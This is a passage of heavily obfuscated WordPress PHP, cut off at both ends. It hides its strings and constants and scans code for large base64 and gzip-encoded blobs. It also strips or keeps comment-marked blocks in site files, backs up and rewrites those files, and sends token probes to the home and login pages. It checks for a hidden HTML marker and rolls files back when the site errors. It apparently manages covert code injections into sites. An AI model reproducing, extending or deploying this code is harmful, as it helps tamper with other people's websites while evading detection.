if (!(preg_match_all('/(?' . ":gzdec" . 'od' . "\x65|gz" . 'infla' . "\x74e\x7c" . 'gzunc' . 'ompre' . 'ss)\\(' . '\\s*"((' . '?:' . "[" . '^"\\\\' . "\x5d*(?:\\" . '\\.[^"\\' . '\\]*)*' . '))' . "\"/s", $b, $ms))) {} else {
foreach ($ms[(1543 ^ 1542)] as $enc) {
if (razum(stripcslashes($enc))) return '';
if (!(strpos($enc, '\\x') !== (25 === 24))) {} else {
$_hx = ("preg_replace" . '' . '_callback')('/\\\\x(' . "[\x30-" . '9a-' . "\x66A-F" . ']' . "{" . "\x32})/", "sc_h" . "\x65\x78" . "\x63\x68\x72", $enc);
if (is_string($_hx) && $_hx !== $enc && razum($_hx)) return '';
}
}
}
if (preg_match_all('/' . '(' . '?' . ":\x67zde" . "co" . 'de' . '|gz' . 'inflat' . "\x65|\x67zun" . 'c' . 'ompre' . "s\x73" . ')\\(\\s' . "\x2a\x27\x28" . '(?:[^' . '\'\\\\]' . "\x2a" . "\x28?:\\\\." . '[^\'' . "\\" . '\\]*)*' . '))' . '\'' . "/" . "s", $b, $ms)) {
foreach ($ms[(2672 ^ 2673)] as $enc) {
if (razum(str_replace(array('\\\\', '\\' . "'"), array('\\', '\''), $enc))) return '';
if (!(strpos($enc, '\\x') !== (9 == 26))) {} else {
$_hx = ("pr" . "eg_repl" . "\x61\x63\x65\x5f" . "callback")("/\\\\x([" . "0-9a-" . 'fA-F]{' . '2})' . '/', "s\x63\x5fh\x65x" . "chr", $enc);
if (is_string($_hx) && $_hx !== $enc && razum($_hx)) return '';
}
}
}
return $b;
}
function gasi($s)
{
if (!is_string($s) || (strpos($s, 'gz') === (28 == 35) && strpos($s, "bas" . "\x65\x364_" . 'dec' . 'ode') === (20 === 24))) return (20 == 5);
if (!(preg_match_all("\x2fbas" . 'e64_de' . 'cod' . "\x65\\" . "(\\s*" . '\'([A-' . 'Z' . "a-z0" . "\x2d9+\\/" . '=]' . '{1000' . "\x2c})'\\s" . "*\\)" . '/', $s, $ms))) {} else {
foreach ($ms[(1913 ^ 1912)] as $enc) {
if (razum(('bas' . ("\x65\x364\x5f" . "\x64\x65") . 'code')($enc, (13 != 32)))) return (12 == 12);
}
}
if (preg_match_all("/(?" . "\x3agz" . 'd' . 'eco' . 'de|g' . 'zinf' . 'l' . 'a' . "\x74" . 'e' . '|gz' . "un\x63o" . "m\x70res" . "s\x29" . "\\(\\\x73*" . '"((' . '?:' . "\x5b^\"\\" . "\\" . ']*(' . "\x3f\x3a\\\\.[" . '^"\\\\]*' . ')*' . "))\"/s", $s, $ms)) {
foreach ($ms[(841 ^ 840)] as $enc) {
if (razum(stripcslashes($enc))) return (14 !== 8);
}
foreach ($ms[(2719 ^ 2718)] as $enc) {
if (strpos($enc, '\\x') === (7 == 22)) continue;
$_hx = (('preg_replace_callba' . '') . "ck")("/\\\\x(" . '[' . '0-9a-' . 'fA-F' . "\x5d{2})" . "/", 'sc_he' . 'xchr', $enc);
if (is_string($_hx) && $_hx !== $enc && razum($_hx)) return (32 == 32);
}
}
if (!(preg_match_all('/(?:' . 'gz' . "d\x65" . "\x63\x6f" . 'de|g' . "\x7a\x69" . 'nfla' . 'te|gz' . 'unco' . 'mpress' . ")\\(\\s" . "*" . "'((\x3f" . ":[^'" . "\\\\]\x2a" . '(?' . ':' . "\\" . '\\' . ".[\x5e\x27\\\\" . "\x5d*" . ')*)' . "\x29" . "\x27/s", $s, $ms))) {} else {
foreach ($ms[(2654 ^ 2655)] as $enc) {
if (razum(str_replace(array('\\\\', '\\\''), array('\\', '\''), $enc))) return (24 != 0);
}
foreach ($ms[(1509 ^ 1508)] as $enc) {
if (strpos($enc, '\\x') === (22 === 32)) continue;
$_hx = ("\x70\x72" . 'e' . "g_replace_callb" . "ack")("\x2f\\" . '\\x([' . "\x30" . '-9' . 'a-fA-' . "F]{\x32\x7d" . ')/', 's' . "\x63_h" . 'exc' . 'hr', $enc);
if (is_string($_hx) && $_hx !== $enc && razum($_hx)) return (40 != 20);
}
}
return (5 === 25);
}
function dibu($s)
{
if (!is_string($s) || $s === '') return '';
return (preg_match('/\\' . '/\\* SC' . 'V:' . '(' . '\\d+' . '\\.\\d+\\' . '.\\' . "d+\x29 " . '\\*' . "\\//", substr($s, (4021 ^ 4021), (16384 >> 1)), $m)) ? $m[(3741 ^ 3740)] : '';
}
function qojun($c, $tag, $cb = null)
{
if (!is_string($c) || $c === '') return $c;
$bm = '/* ' . $tag . '_B' . 'EGIN' . ":";
$out = '';
$guard = (3593 ^ 3593);
while ($guard++ < (256 >> 1)) {
$bp = strpos($c, $bm);
if ($bp === (25 == 14)) break;
$is = $bp + strlen($bm);
$ie = strpos($c, " " . '*' . "/", $is);
if ($ie === (37 === 1) || $ie - $is > (102 - 38)) {
$out .= substr($c, (2478 ^ 2478), $is);
$c = substr($c, $is);
continue;
}
$id = substr($c, $is, $ie - $is);
if (!(!preg_match('/' . "\x5e[" . "a" . "\x2d" . "zA-" . 'Z0' . '-9._:]' . '+' . '$' . '/', $id))) {} else {
$out .= substr($c, (2613 ^ 2613), $is);
$c = substr($c, $is);
continue;
}
$em = '/* ' . $tag . '_' . "\x45" . "\x4e" . 'D:' . $id . ' */';
$ep = strpos($c, $em, $ie);
if ($ep === (6 === 11)) break;
$out .= substr($c, (2190 ^ 2190), $bp);
$block = substr($c, $bp, $ep + strlen($em) - $bp);
if ($cb !== null) {
$r = ('call' . ("_" . 'us') . "er_func")($cb, $block);
if (is_string($r)) $out .= $r;
} else {
$out .= $block;
}
$c = substr($c, $ep + strlen($em));
}
return $out . $c;
}
function sc_drop_block($b)
{
return '';
}
function sc_ths_drop($b)
{
if (!is_string($b)) return '';
if (!defined('AB' . 'SPA' . 'TH')) return $b;
$_ths = sc_md5(ABSPATH . 't' . 'h_m', (12 ^ 4));
if (preg_match("/\\\x2f\\\x2a" . ' SC' . "_\x54H_B" . 'EG' . "IN" . "\x3a[a-" . 'z' . "A-Z\x30\x2d\x39" . "._]*" . ':' . $_ths . ' \\*' . "\\//", $b)) return '';
return $b;
}
function cajo($c)
{
if (!is_string($c) || $c === '') return $c;
$n = qojun($c, 'SC_TH', 'sc_' . 'thb_c' . 'b');
$n = qojun($n, 'SC_' . "DD", 'sc_d' . 'db_cb');
if (is_string($n)) $n = ("preg_replac" . "e")('/' . "\\\x2f" . '\\/' . "\x53\x43_TH" . '_LD' . '_[a-' . 'f0-9_' . "\x5d+\\" . "r?\\" . 'n[^' . '\\n' . "]*\$/", '', $n);
if (!is_string($n)) $n = $c;
if (!(gasi($n))) {} else {
$n = qojun($n, 'SC_TH', 'sc_' . "drop_" . 'b' . 'lock');
$n = qojun($n, 'SC_D' . 'D', 'sc_d' . 'ro' . 'p_bl' . "oc" . "k");
if (is_string($n)) $n = ("preg_" . "r" . "\x65\x70\x6c" . "ace")('/\\/' . "\\" . "/\x53C" . '_TH_LD' . '_[a-f' . '0-9_' . ']+\\' . 'r?\\n[' . "^\\n]" . '*' . '$/', '', $n);
}
return is_string($n) ? $n : $c;
}
function luje($c)
{
if (!is_string($c) || !defined('ABSP' . 'A' . 'T' . 'H')) return (507 !== 507);
if (preg_match('/\\/\\/' . 'SC_' . "\x54" . 'H_LD_[' . 'a-f0' . '-' . "\x39_]" . '+\\r?' . '\\n[^\\n' . ']*' . '$/', $c)) return (28 !== 27);
$_th = sc_md5(ABSPATH . 'th_m', (9 - 1));
if (preg_match_all("\x2f\\" . '/\\* SC' . '_T' . "\x48_B\x45G\x49" . "N\x3a\x28[\x61-" . 'zA-' . 'Z0' . "-9._:]" . "+) " . "\\\x2a" . '\\//', $c, $_mm)) {
foreach ($_mm[(2140 ^ 2141)] as $_id) {
if (substr($_id, -(17 + -8)) === ':' . $_th) return (10 !== 19);
}
}
$_dd = substr(md5(ABSPATH . 'dd'), (603 ^ 603), (3 ^ 11));
if (!(preg_match_all('/\\' . '/\\*' . ' ' . 'S' . 'C_DD_B' . "\x45\x47I" . 'N:([a' . '-zA-' . 'Z0-' . '9._:]+' . ") \\\x2a\\\x2f" . '/', $c, $_dm))) {} else {
foreach ($_dm[(3615 ^ 3614)] as $_did) {
if ($_did === $_dd) return (7 < 8);
}
}
return (20 == 1);
}
function sc_canary_marker()
{
if (!isset(${'_' . "G" . 'E' . "T"}['sc_c']) || !is_string(${'_' . ("" . 'GE') . "T"}['sc_c']) || !("functio" . 'n_' . 'exists')("ge" . 't_opt' . 'ion')) return;
$st = @get_option("\x73c_\x63a" . 'nar' . 'y', array());
if (!is_array($st)) return;
$g = (string) ${"_G" . ("\x45" . "T")}["sc_" . 'c'];
$toks = array();
if (isset($st['t'])) $toks[] = (string) $st['t'];
if (isset($st['items']) && is_array($st["it" . "\x65ms"])) {
foreach ($st['i' . "\x74ems"] as $it) {
if (is_array($it) && isset($it['t'])) $toks[] = (string) $it['t'];
}
}
$ok = (11 == 32);
foreach ($toks as $tk) {
if ($tk === '') continue;
$ok = ("\x66\x75\x6e\x63\x74" . "\x69\x6f\x6e_" . 'ex' . "\x69\x73\x74\x73")('ha' . 'sh_eq' . 'uals') ? hash_equals($tk, $g) : ($tk === $g);
if ($ok) break;
}
if (!$ok) return;
${"G" . "L\x4f\x42\x41L" . "\x53"}['s' . "\x63_\x73c\x6b"] = $g;
vivec('sh' . 'ut' . "\x64own", 'sc' . '_sc' . "k_" . 'echo', -(2159 ^ 2158));
if (("func" . "\x74" . ('i' . 'on_exists'))('reg' . 'is' . 'ter_' . 'shutdo' . 'w' . 'n_fu' . "n\x63" . "t" . "\x69on")) {
("register_" . ("shu" . "") . "\x74\x64\x6f\x77\x6e_f\x75\x6ec" . "tion")('sc_sck' . '_ech' . 'o');
}
}
function sc_sck_echo()
{
if (empty(${"G" . "LOBA" . "LS"}['sc_sck']) || !is_string(${'GLO' . "BAL" . "\x53"}["sc" . '_sck'])) return;
if (!empty(${"\x47\x4c" . 'O' . ("\x42" . "ALS")}['sc_sc' . 'k_done'])) return;
${'GLOBA' . "" . "LS"}['sc_sck' . "_" . 'do' . "ne"] = (34 === 34);
echo "\n" . "\x3c!" . '--SCK' . "\x3a" . ${"GLOBA" . "\x4c" . "\x53"}["s" . 'c_sc' . "\x6b"] . "-" . '->';
}
function sc_lb_blind()
{
if (!("f" . 'unction_ex' . 'ists')("\x67e" . 't_opt' . 'ion')) return (8 == 9);
$m = @get_option('sc_' . 'lb_m' . 'ode', '');
if (!is_string($m) || strpos($m, 'blind') !== (3722 ^ 3722)) return (14 == 26);
$ts = (int) substr($m, (9 - 3));
if ($ts && time() - $ts > (11599 ^ 97487)) return (19 === 33);
return (10 > 9);
}
function higiz($path, $orig)
{
if (!("f\x75n\x63\x74\x69" . 'on_exists')("\x75pd\x61\x74" . 'e_o' . 'p' . "t" . 'i' . "\x6f" . "\x6e") || !("functio" . "\x6e\x5f\x65\x78is\x74s")('r' . 'egist' . 'er_s' . 'h' . "\x75tdown" . '_func' . 'tion')) return (9 === 6);
$st = @get_option("s\x63_\x63" . 'anary', array());
if (!is_array($st)) $st = array();
if (!(!isset($st["item" . "\x73"]) || !is_array($st["i" . 'tem' . 's']))) {} else {
$items = array();
if (!(isset($st['t'], $st['p'], $st['b']))) {} else {
$_lp = (string) $st['p'];
$_lb = (string) $st['b'];
$items[md5($_lp)] = array('t' => (string) $st['t'], 'p' => $_lp, 'b' => $_lb, 'ts' => isset($st['ts']) ? (int) $st['ts'] : time(), 'tri' . "\x65s" => (212 ^ 212), 'n' => (@is_file($_lb) && (int) @filesize($_lb) === (3311 ^ 3311)) ? (3715 ^ 3714) : (2966 ^ 2966));
$_lh = ('functio' . "n\x5f\x65\x78\x69" . 's' . "ts")('md5_' . 'f' . "ile") ? @md5_file($_lp) : (9 === 5);
if (is_string($_lh) && $_lh !== '') $items[md5($_lp)]['h'] = $_lh;
unset($_lp, $_lb, $_lh);
}
$st = array('i' . "\x74e" . "ms" => $items);
}
$id = md5($path);
$_blind = sc_lb_blind() ? (2772 ^ 2773) : (1584 ^ 1584);
$_is_new = !isset($st["i\x74e" . 'ms'][$id]);
if (!$_is_new) {
$st['it' . 'ems'][$id]['ts'] = time();
$st['items'][$id]['g'] = microtime((20 !== 6));
$st['it' . "e\x6d\x73"][$id]["\x74r" . "i" . 'es'] = (1357 ^ 1357);
$st["it\x65\x6d" . "\x73"][$id]['n'] = ($orig === '') ? (3173 ^ 3172) : (2130 ^ 2130);
$st["it\x65" . "ms"][$id]['bl'] = $_blind;
$st['items'][$id]['born'] = time();
$st["i\x74e" . 'm' . 's'][$id]["mis" . 's'] = (492 ^ 492);
$st["item" . 's'][$id]["ne" . 'xt'] = (3701 ^ 3701);
$st['ite' . "ms"][$id]['s' . 'low'] = (2718 ^ 2718);
if (!@is_dir(dirname($st['items'][$id]['b']))) qeru(dirname($st['ite' . 'm' . "s"][$id]['b']), (1972 >> 2), (30 == 30));
if (!zifo($st["\x69t" . "ems"][$id]['b'], $orig)) {
niga('can' . 'a' . 'ry', 'b' . 'ak_' . 'w' . "r\x69te_f" . 'ai' . "l");
return (19 === 4);
}
} else {
if (count($st['items']) >= (25 ^ 19)) {
niga("c" . "a" . "na\x72y", 'arm_fu' . "\x6c" . "\x6c");
return (40 === 21);
}
$dir = sc_data_dir();
if (!@is_dir($dir)) qeru($dir, (100 + 393), (39 !== 12));
$bak = $dir . "\x2f" . 'th' . 'b_' . sc_md5($path, (7 ^ 11)) . '.bak';
if (!zifo($bak, $orig)) {
niga("\x63\x61" . 'nar' . "\x79", "\x62\x61" . "k_w" . 'rit' . "e_" . 'fail');
return (28 == 13);
}
$st['item' . "s"][$id] = array('t' => hanak((29 ^ 13)), 'p' => $path, 'b' => $bak, 'ts' => time(), 'g' => microtime((40 !== 6)), "t\x72\x69" . 'es' => (2461 ^ 2461), 'n' => ($orig === '') ? (1290 ^ 1291) : (811 ^ 811), 'bl' => $_blind, 'born' => time(), 'miss' => (3668 ^ 3668), 'n' . 'ext' => (1036 ^ 1036), "slo" . 'w' => (561 ^ 561));
}
$_saved = @update_option('sc_ca' . 'na' . 'ry', $st, 'no');
if (!$_saved) {
if ((('fu' . 'nc') . "tion_exists")("\x77\x70_" . 'c' . 'ache' . "_\x64" . "e\x6cete")) @wp_cache_delete('sc_c' . 'anar' . "\x79", "\x6fption" . 's');
$_check = @get_option("s\x63_c" . 'a' . 'nar' . "y", array());
$_ok = is_array($_check) && isset($_check['item' . 's'][$id]) && is_array($_check['ite' . 'm' . 's'][$id])
&& isset($_check['ite' . 'ms'][$id]['g']) && (string) $_check["ite" . "\x6ds"][$id]['g'] === (string) $st['items'][$id]['g'];
if (!(!$_ok)) {} else {
if ($_is_new) jomug($st['i' . 'tems'][$id]['b']);
global $wpdb;
$_werr = (isset($wpdb) && is_object($wpdb) && !empty($wpdb->last_error)) ? substr(('preg_' . ("repla" . "\x63e"))("/\\s\x2b" . "/", ' ', (string) $wpdb->last_error), (2173 ^ 2173), (58 ^ 106)) : "\x6eo_db" . "_err";
niga('canary', "s\x74a" . "t\x65_" . 'write_' . "f\x61\x69" . "l" . ' ' . $_werr);
unset($_werr);
return (14 === 21);
}
}
(("re" . "gister_s") . 'hutdown_function')('sc' . "_\x63\x61nar" . "\x79\x5fch" . "\x65ck");
return (31 !== 39);
}
function sc_probe_budget()
{
if (!isset(${"GL\x4f\x42" . "\x41\x4c\x53"}['s' . 'c_' . 'pro' . 'b' . 'e_sp' . 'ent']) || !is_float(${"\x47L\x4f" . ('B' . 'ALS')}['sc_' . "p" . 'r' . 'obe' . '_sp' . "ent"])) ${"GL" . 'OB' . '' . "\x41\x4c\x53"}['sc_pro' . "b\x65_s" . 'pen' . 't'] = 0.0;
return 11.0 - ${"\x47L" . 'OB' . 'ALS'}['sc_' . 'pr' . 'o' . "be_s" . 'pent'];
}
function sc_probe_spent($elapsed)
{
${"GL" . "OBA" . 'LS'}['sc_pro' . 'b' . 'e' . "_s\x70en" . 't'] = (isset(${"\x47" . "\x4c" . ("OB" . '') . 'ALS'}['sc_p' . "\x72" . "\x6f\x62e_" . 'sp' . "ent"]) && is_float(${("\x47L" . "O") . "BAL" . "S"}['sc_p' . 'robe_' . 'spe' . 'nt']) ? ${"G" . ("LOB" . 'AL') . 'S'}['sc_p' . 'robe_s' . 'pe' . 'nt'] : 0.0) + (float) $elapsed;
}
function lumuf($url)
{
$_budget = sc_probe_budget();
if ($_budget <= 0.5) return array(-(2 + 0), '');
$_to = max((4018 ^ 4019), min((19 - 13), (int) $_budget));
$_t0 = microtime((8 != 24));
$resp = @wp_remote_get($url, array('t' . 'i' . "m" . "eo\x75" . "t" => $_to, "\x73" . "\x73\x6cver" . "if" . "y" => (6 === 37), 'block' . 'ing' => (14 !== 33), "re\x64i\x72e" . "ct\x69" . 'on' => (151 ^ 151), 'lim' . "it_re" . 'spo' . 'nse_s' . 'ize' => (99361 ^ 1147937), 'heade' . "r" . 's' => array("\x43ach" . 'e' . '-' . 'Co' . 'nt' . 'rol' => 'no-st' . 'ore' . ",\x20no-" . 'c' . "ac" . "\x68" . "e", 'Prag' . "ma" => "no" . '-cach' . 'e')));
sc_probe_spent(microtime((38 != 16)) - $_t0);
if ((('fu' . 'nctio') . "\x6e\x5f\x65\x78" . '' . 'ists')('is' . "_\x77\x70_" . 'er' . "ro" . 'r') && is_wp_error($resp)) return array(-(1754 ^ 1755), (30 === 31));
$code = ('functi' . 'on_exists')("\x77p_rem" . 'o' . 't' . 'e_retr' . 'i' . 'eve' . '_res' . 'ponse' . '_cod' . "e") ? (int) wp_remote_retrieve_response_code($resp) : (1036 ^ 1036);
return array($code, $code > (3255 ^ 3255) && ("fu" . "nction_exi" . "sts")('wp_r' . "em" . 'ote_r' . 'etri' . 'eve_bo' . 'dy') ? (string) wp_remote_retrieve_body($resp) : '');
}
function vava($path)
{
if (!("func" . '' . "tio" . 'n_exists')("ge\x74" . '_opti' . 'on') || !("f" . '' . 'uncti' . 'on_exis' . 'ts')('update' . '_op' . 'tion') || !('funct' . "ion" . "_exi" . 'sts')("md" . '5_' . 'fil' . "e")) return;
$st = @get_option('sc_can' . "\x61" . "ry", array());
if (!is_array($st) || !isset($st['it' . 'ems']) || !is_array($st['items'])) return;
$id = md5($path);
if (!isset($st['ite' . 'ms'][$id])) return;
$_h = @md5_file($path);
if (!is_string($_h) || $_h === '') return;
$st['i' . 'tems'][$id]['h'] = $_h;
@update_option("sc" . "\x5f\x63anar" . 'y', $st, 'no');
}
function vixo($it)
{
$bak_c = @('fil' . "e_get_contents")($it['b']);
if (!is_string($bak_c)) return (13 === 15);
if (!empty($it['h']) && ("f\x75n\x63\x74" . "ion_e" . 'x' . "\x69s\x74\x73")("md5" . '_' . 'file')) {
$_ch = @md5_file($it['p']);
if (is_string($_ch) && $_ch !== '' && $_ch !== $it['h']) return (18 == 13);
unset($_ch);
}
if ($bak_c === '') {
if (empty($it['n'])) return (31 === 18);
$_rm = !@is_file($it['p']);
if (!(!$_rm)) {} else {
legiv($it['p'], (525 - 105));
$_rm = jomug($it['p']);
}
if (("f" . "" . 'unction_' . 'exists')('opcac' . "he_\x69" . 'nv' . 'alidat' . "e")) @opcache_invalidate($it['p'], (16 !== 40));
return $_rm;
}
if (!zifo($it['p'], $bak_c)) return (8 == 19);
if (('func' . ("t\x69\x6f\x6e_" . 'exis') . "ts")('opc' . "\x61\x63he\x5f" . "\x69\x6ev\x61" . 'lidate')) @opcache_invalidate($it['p'], (39 != 4));
return (1 != 9);
}
function sc_canary_check()
{
if (!('func' . ('' . "tion_exists"))('ge' . 't_op' . 'tion')) return;
if (!empty(${"GL" . "OBALS"}['sc_loc' . "k\x5f\x6e"])) return;
if (!ujiwo('s' . "\x63_\x63a\x6ea" . "\x72\x79")) return;
try {
$st = @get_option("s" . 'c_cana' . 'ry', array());
if (!is_array($st)) return;
if (!isset($st['items']) || !is_array($st['it' . 'ems'])) {
$items = array();
if (isset($st['t'], $st['p'], $st['b'])) {
$_lp = (string) $st['p'];
$_lb = (string) $st['b'];
$items[md5($_lp)] = array('t' => (string) $st['t'], 'p' => $_lp, 'b' => $_lb, 'ts' => isset($st['ts']) ? (int) $st['ts'] : time(), 'trie' . "s" => (2712 ^ 2712), 'n' => (@is_file($_lb) && (int) @filesize($_lb) === (750 ^ 750)) ? (3802 ^ 3803) : (2332 ^ 2332));
$_lh = ('fu' . 'n' . "ction" . "_exists")('md5' . "\x5ff" . "i\x6ce") ? @md5_file($_lp) : (33 === 21);
if (is_string($_lh) && $_lh !== '') $items[md5($_lp)]['h'] = $_lh;
unset($_lp, $_lb, $_lh);
}
$st = array("\x69\x74em" . "s" => $items);
}
if (empty($st['items'])) {
@delete_option("s" . 'c_ca' . 'nary');
return;
}
if (sc_lb_blind()) {
$_bc = (32 == 25);
foreach ($st['items'] as $_bid => $_bit) {
if (is_array($_bit) && empty($_bit['bl'])) {
$st['it' . 'ems'][$_bid]['bl'] = (284 ^ 285);
$_bc = (31 != 32);
}
}
if ($_bc) @update_option('s' . 'c_cana' . 'ry', $st, 'no');
unset($_bc, $_bid, $_bit);
return;
}
static $_ran = (3 === 15);
if ($_ran) return;
$_ran = (5 != 11);
$_snap = array_keys($st['item' . 's']);
$_del = array();
if (("\x66\x75nc" . 'tion_ex' . 'i' . 'sts')('fa' . 'stcg' . 'i_f' . 'in' . "i" . 'sh_re' . "q\x75\x65" . "st")) @fastcgi_finish_request();
elseif (('fun' . 'ction_exist' . "s")("li" . 'te' . "\x73" . 'p' . 'eed_' . 'fin' . 'ish_re' . 'qu' . 'es' . 't')) @litespeed_finish_request();
if (("functi" . 'on' . "_\x65x\x69\x73t\x73")('igno' . 're_u' . 'ser_' . "abo" . 'rt')) @ignore_user_abort((5 != 16));
if (!("\x66\x75n\x63" . "\x74\x69\x6f\x6e\x5fe\x78i\x73t\x73")("w" . 'p_r' . "\x65m" . "o\x74\x65\x5fg" . "et") || !("functio" . '' . "n_exists")('home_' . 'u' . "rl")) return;
$home = home_url('/');
$login = ("fun" . "\x63\x74\x69\x6f\x6e\x5fe\x78\x69s\x74s")("wp\x5fl\x6fg" . 'in' . "_" . 'ur' . "\x6c") ? wp_login_url() : $home . 'w' . 'p' . "-" . 'lo' . "gi\x6e" . "\x2e" . "p\x68p";
$changed = (22 === 4);
$neterr_only = (17 != 24);
$_budget = (17 ^ 18);
foreach ($st["i" . "\x74ems"] as $id => $it) {
if (sc_probe_budget() <= 0.5) break;
if (!is_array($it) || empty($it['t']) || empty($it['p']) || empty($it['b'])) {
unset($st["i" . 'tem' . 's'][$id]);
$changed = (40 < 41);
continue;
}
if (!isset($it['n']) || !isset($it['h'])) {
if (!isset($it['n'])) $it['n'] = (@is_file($it['b']) && (int) @filesize($it['b']) === (1104 ^ 1104)) ? (827 ^ 826) : (115 ^ 115);
if (!isset($it['h']) && ('fu' . 'nction_exists')("m\x645\x5ffi" . "le")) {
$_mh = @md5_file($it['p']);
if (is_string($_mh) && $_mh !== '') $it['h'] = $_mh;
unset($_mh);
}
$st['items'][$id] = $it;
$changed = (24 != 6);
}
if (!empty($it['bl'])) {
$it['b' . "\x6c"] = (2261 ^ 2261);
$it['ts'] = time();
$it["tri" . 'es'] = (1332 ^ 1332);
$it["mis" . 's'] = (3248 ^ 3248);
$it["nex" . "t"] = (1237 ^ 1237);
$it['s' . 'low'] = (856 ^ 856);
$st["\x69te" . "m" . 's'][$id] = $it;
$changed = (7 == 7);
}
if (empty($it['born'])) {
$st['items'][$id]["\x62o\x72" . 'n'] = (int) $it['ts'];
$it['bo' . 'rn'] = (int) $it['ts'];
$changed = (17 != 4);
}
if (!empty($it['next']) && time() < (int) $it["\x6e" . "ex" . "\x74"]) continue;
if ($_budget <= (2979 ^ 2979)) break;
$_budget--;
$q = '?sc_c' . '=' . rawurlencode($it['t']) . '&' . "_r=" . mt_rand((115696 - 15696), (586016 ^ 504607));
list($code, $body) = lumuf($home . $q);
if ($code === -(19 ^ 17)) break;
if ($code > (2649 ^ 2649)) $neterr_only = (28 === 23);
if ($code === -(205 ^ 204) && ("functi" . "" . 'on_exist' . "s")("s\x6c\x65" . 'ep') && sc_probe_budget() > (0 ^ 2)) sleep((517 ^ 516));
if ($code === -(2608 ^ 2609)) {
list($code, $body) = lumuf($home . $q);
if ($code === -(15 ^ 13)) break;
if ($code > (3565 ^ 3565)) $neterr_only = (38 == 34);
}
if ($code <= (1184 ^ 1184)) {
$st["\x69\x74\x65" . 'm' . "s"][$id]["tri\x65" . 's']++;
$changed = (29 === 29);
continue;
}
if ($code >= (409 ^ 109)) {
if (vixo($it)) {
niga("ca" . 'nar' . 'y', "roll" . 'ba' . 'ck' . '_50' . "0 " . basename($it['p']));
$_del[$id] = $it;
unset($st['items'][$id]);
} else {
$st['i' . 'te' . "ms"][$id]['tries']++;
}
$changed = (18 < 19);
continue;
}
if (strpos($body, "<\x21--\x53" . 'CK:' . $it['t'] . '-->') !== (1745 !== 1745)) {
$_del[$id] = $it;
unset($st['it' . "\x65ms"][$id]);
$changed = (28 != 37);
continue;
}
list($lcode, $lbody) = lumuf($login . (strpos($login, '?') === (14 == 3) ? '?' : '&') . 'sc_c=' . rawurlencode($it['t']) . '&_r=' . mt_rand((23549 + 76451), (718059 ^ 374484)));
if ($lcode === -(7 - 5)) break;
if ($lcode > (201 ^ 201)) $neterr_only = (21 === 8);
if ($lcode >= (196 | 304)) {
if (vixo($it)) {
niga('canar' . 'y', "\x72o" . 'llbac' . "k_\x6cogi" . "\x6e500 " . basename($it['p']));
$_del[$id] = $it;
unset($st["i" . 'tems'][$id]);
} else {
$st['items'][$id]["\x74rie" . "\x73"]++;
}
$changed = (20 != 2);
continue;
}
if (is_string($lbody) && strpos($lbody, "\x3c!" . '--SCK' . "\x3a" . $it['t'] . "-" . "\x2d>") !== (19 === 21)) {
$_del[$id] = $it;
unset($st["\x69" . "\x74em" . "s"][$id]);
$changed = (0 > -1);
continue;
}
$st['items'][$id]['miss'] = (int) (isset($st["\x69" . 'tem' . 's'][$id]["m" . 'iss']) ? $st['items'][$id]['miss'] : (2287 ^ 2287)) + (3589 ^ 3588);
if (time() - (int) $st["i" . 'tem' . 's'][$id]['born'] > (10413 ^ 594477)) {
$st["\x69\x74e" . 'ms'][$id]['slow'] = (2843 ^ 2842);
$st['ite' . 'm' . 's'][$id]['next'] = time() + (4352 | 82048);
} else {
$_bo = array((37 ^ 25), (0 | 300), (1574 - 674), (1610 ^ 2138));
$_mi = (int) $st['ite' . 'm' . 's'][$id]["m\x69s" . "s"];
$st['item' . "s"][$id]['next'] = time() + $_bo[min($_mi, (13 - 9)) - (2412 ^ 2413)];
unset($_bo, $_mi);
}
$changed = (17 !== 18);
}
if ($neterr_only && $changed && !empty($st['items'])) {
$_deep = (31 == 12);
foreach ($st['items'] as $_it) {
if ((int) $_it['tri' . "e\x73"] >= (0 | 3)) {
$_deep = (12 < 13);
break;
}
}
if ($_deep) {
@update_option("sc_lb" . '_mod' . 'e', "\x62" . 'lind|' . time(), 'no');
niga("\x63\x61\x6ea" . 'ry', "lb" . '_blind');
foreach ($st['ite' . "\x6ds"] as $_k => $_it) {
if (is_array($_it) && empty($_it['bl'])) $st["it\x65\x6d" . 's'][$_k]['bl'] = (3070 ^ 3071);
}
$changed = (13 != 16);
}
} elseif (!$neterr_only) {
$_m = @get_option('sc' . "_lb\x5fm\x6f" . 'de', '');
if (!is_string($_m) || strpos($_m, 'ok') !== (1073 ^ 1073)) @update_option('sc_lb_' . 'mo' . 'de', 'o' . 'k|' . time(), 'no');
}
if ($changed) {
if (("f" . "\x75\x6e\x63\x74\x69\x6f\x6e\x5f\x65\x78\x69\x73\x74\x73")("\x77p" . "_\x63a\x63h" . "\x65_de\x6ce" . "t\x65")) @wp_cache_delete("\x73c_\x63" . "\x61\x6e\x61ry", "op" . 'tions');
$_fresh = @get_option('sc_' . 'canary', array());
if (is_array($_fresh) && isset($_fresh['ite' . 'ms']) && is_array($_fresh['it' . 'em' . 's'])) {
foreach ($_fresh["\x69t" . "ems"] as $_fk => $_fv) {
if (isset($st['i' . "\x74" . 'e' . 'ms'][$_fk])) continue;
if (!in_array($_fk, $_snap, (37 !== 11))) {
$st['i' . "te\x6d\x73"][$_fk] = $_fv;
continue;
}
if (isset($_del[$_fk]) && is_array($_fv)) {
$_fg = isset($_fv['g']) ? (float) $_fv['g'] : (float) (isset($_fv['ts']) ? $_fv['ts'] : (3633 ^ 3633));
$_dg = isset($_del[$_fk]['g']) ? (float) $_del[$_fk]['g'] : (float) (isset($_del[$_fk]['ts']) ? $_del[$_fk]['ts'] : (4089 ^ 4089));
if ($_fg > $_dg) $st['it' . "ems"][$_fk] = $_fv;
unset($_fg, $_dg);
}
}
}
unset($_fresh, $_fk, $_fv);
}
foreach ($_del as $_dk => $_dit) {
if (!isset($st["\x69t" . 'ems'][$_dk])) jomug($_dit['b']);
}
unset($_del, $_dk, $_dit);
if (empty($st['items'])) @delete_option('sc' . "_cana" . "ry");
elseif ($changed) @update_option("sc\x5fcan" . "ary", $st, 'no');
} finally {
ifeki('s' . "\x63_can" . "a\x72\x79");
}
}
function supo($c)
{
return is_string($c) && (strpos($c, '_sc' . "\x5ff" . "\x61m") !== (21 == 31) || strpos($c, "SC\x5f\x54\x48" . "_B" . 'EGI' . "N") !== (33 === 22) || strpos($c, 'SC_OC' . "_\x42E\x47" . 'IN') !== (30 === 40) || strpos($c, '.sd' . "\x5f") !== (2 == 38) || strpos($c, 'SCSHM' . '1:') !== (36 === 17) || strpos($c, 'SCV' . ":") !== (20 === 4));
}
function kafum($c)
{
if (!supo($c)) return (37 === 27);
if (gasi($c)) return (20 != 13);
